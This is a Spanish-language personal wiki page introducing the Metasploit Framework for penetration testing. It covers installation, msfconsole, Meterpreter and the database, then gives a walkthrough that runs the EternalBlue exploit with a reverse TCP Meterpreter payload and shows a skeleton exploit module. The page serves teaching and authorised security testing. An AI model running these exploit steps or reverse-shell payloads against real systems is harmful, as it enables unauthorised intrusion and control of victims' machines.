Notas de Luis

Up

Metasploit Framework

El Metasploit Framework es una herramienta potente y ampliamente utilizada en el ámbito de la seguridad informática y el hacking ético. Desarrollado originalmente por H.D. Moore en 2003, Metasploit proporciona un entorno de desarrollo modular que permite a los profesionales de la seguridad desarrollar, probar y ejecutar exploits contra sistemas vulnerables. Su versatilidad y extensibilidad lo han convertido en un estándar en las pruebas de penetración y auditorías de seguridad.

Introducción al Metasploit Framework

Conceptos Clave:

  • Exploits: Programas que aprovechan vulnerabilidades en el software.
  • Payloads: Código que se ejecuta en el sistema objetivo tras la explotación.
  • Encoders: Codifican payloads para evitar detección por sistemas de seguridad.
  • Auxiliary Modules: Herramientas adicionales que no son exploits (escáneres, sniffers).
  • Post-Exploitation Modules: Herramientas para operar en el sistema comprometido.

Recursos:

Instalación de Metasploit Framework

Requisitos:

  • Sistema Operativo: Linux (Kali Linux es recomendado), Windows, macOS.
  • Dependencias: Ruby, PostgreSQL.

Instalación en Kali Linux:

Metasploit viene preinstalado en Kali Linux, pero puede actualizarse o instalarse si es necesario.

sudo apt update
sudo apt install metasploit-framework

Instalación en Ubuntu:

# Actualizar y instalar dependencias
 
sudo apt update
sudo apt install -y curl gpg
 
# Añadir el repositorio de Metasploit
 
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/debian/repo/metasploit-framework.gpg.key | sudo apt-key add -
echo "deb http://downloads.metasploit.com/data/releases/metasploit-framework/apt lucid main" | sudo tee /etc/apt/sources.list.d/metasploit-framework.list
 
# Instalar Metasploit
 
sudo apt update
sudo apt install metasploit-framework

Recursos:

Componentes Principales de Metasploit Framework

msfconsole:

La interfaz principal de línea de comandos de Metasploit. Permite interactuar con el framework y ejecutar módulos.

# Iniciar msfconsole
 
sudo msfconsole

Modules:

  • Exploits: Aprovechan vulnerabilidades en software específico.
  • Payloads: Código que se ejecuta tras la explotación.
  • Encoders: Codifican payloads para evitar detección.
  • Nops: No-Operation instructions, utilizadas para asegurar que los payloads funcionen correctamente.
  • Auxiliary Modules: Incluyen escáneres, sniffers y herramientas de ataque adicionales.
  • Post-Exploitation Modules: Herramientas para operar en un sistema comprometido (e.g., recolectar información, moverse lateralmente).

Meterpreter:

Un payload avanzado que proporciona una interfaz interactiva para el sistema comprometido. Permite ejecutar comandos, transferir archivos y más.

meterpreter > sysinfo
Computer: victim
OS      : Windows 10 (Build 18362).
meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18362.1016]
C:\Windows\system32>

Database:

Metasploit utiliza PostgreSQL para almacenar datos sobre hosts, servicios, vulnerabilidades, etc.

# Iniciar el servicio de PostgreSQL
 
sudo service postgresql start
 
# Configurar Metasploit para usar la base de datos
 
msfdb init

Recursos:

Uso Básico de Metasploit

Ejemplo de Escaneo de Puertos con un Módulo Auxiliary:

msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.1.0/24
msf auxiliary(tcp) > set PORTS 80,443,22
msf auxiliary(tcp) > run

Ejemplo de Ejecución de un Exploit:

  • Seleccionar y Configurar el Exploit:
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set RHOST 192.168.1.105
msf exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.100
msf exploit(ms17_010_eternalblue) > run
  • Obtener una Sesión Meterpreter:
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.105:445 - Connecting to target for exploitation.
[*] 192.168.1.105:445 - Connection established for exploitation.
...
meterpreter > sysinfo
Computer        : VICTIM-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US

Recursos:

Desarrollo y Personalización de Módulos en Metasploit

Metasploit permite a los usuarios crear y personalizar sus propios módulos, lo cual es útil para pruebas de penetración avanzadas y para adaptar la herramienta a necesidades específicas.

Ejemplo de un Módulo Básico:

require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::Tcp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Example Exploit',
      'Description'    => %q{
        This module is an example exploit.
      },
      'Author'         => [ 'Your Name' ],
      'License'        => MSF_LICENSE,
      'Payload'        => {
        'Space'       => 1024,
        'BadChars'    => "\x00"
      },
      'Platform'       => 'win',
      'Targets'        => [
        [ 'Windows', { 'Ret' => 0x41414141 } ],
      ],
      'DefaultTarget'  => 0
    ))
 
    register_options(
      [
        Opt::RPORT(1234)
      ])
  end
 
  def exploit
    connect
    print_status("Sending payload...")
    sock.put(payload.encoded)
    disconnect
  end
end

Recursos:

Conclusión

El Metasploit Framework es una herramienta esencial para los profesionales de la seguridad y los pentesters. Su capacidad para desarrollar, probar y ejecutar exploits de manera modular y su extensibilidad lo convierten en una plataforma poderosa para realizar auditorías de seguridad y pruebas de penetración. Con un conocimiento profundo de sus componentes y funcionalidades, los usuarios pueden maximizar su eficacia en la identificación y explotación de vulnerabilidades en diversos sistemas.

Recursos Adicionales

computing/hacking/hack_roadmap/hack_roadmap-2.3.a.txt · Última modificación: por 127.0.0.1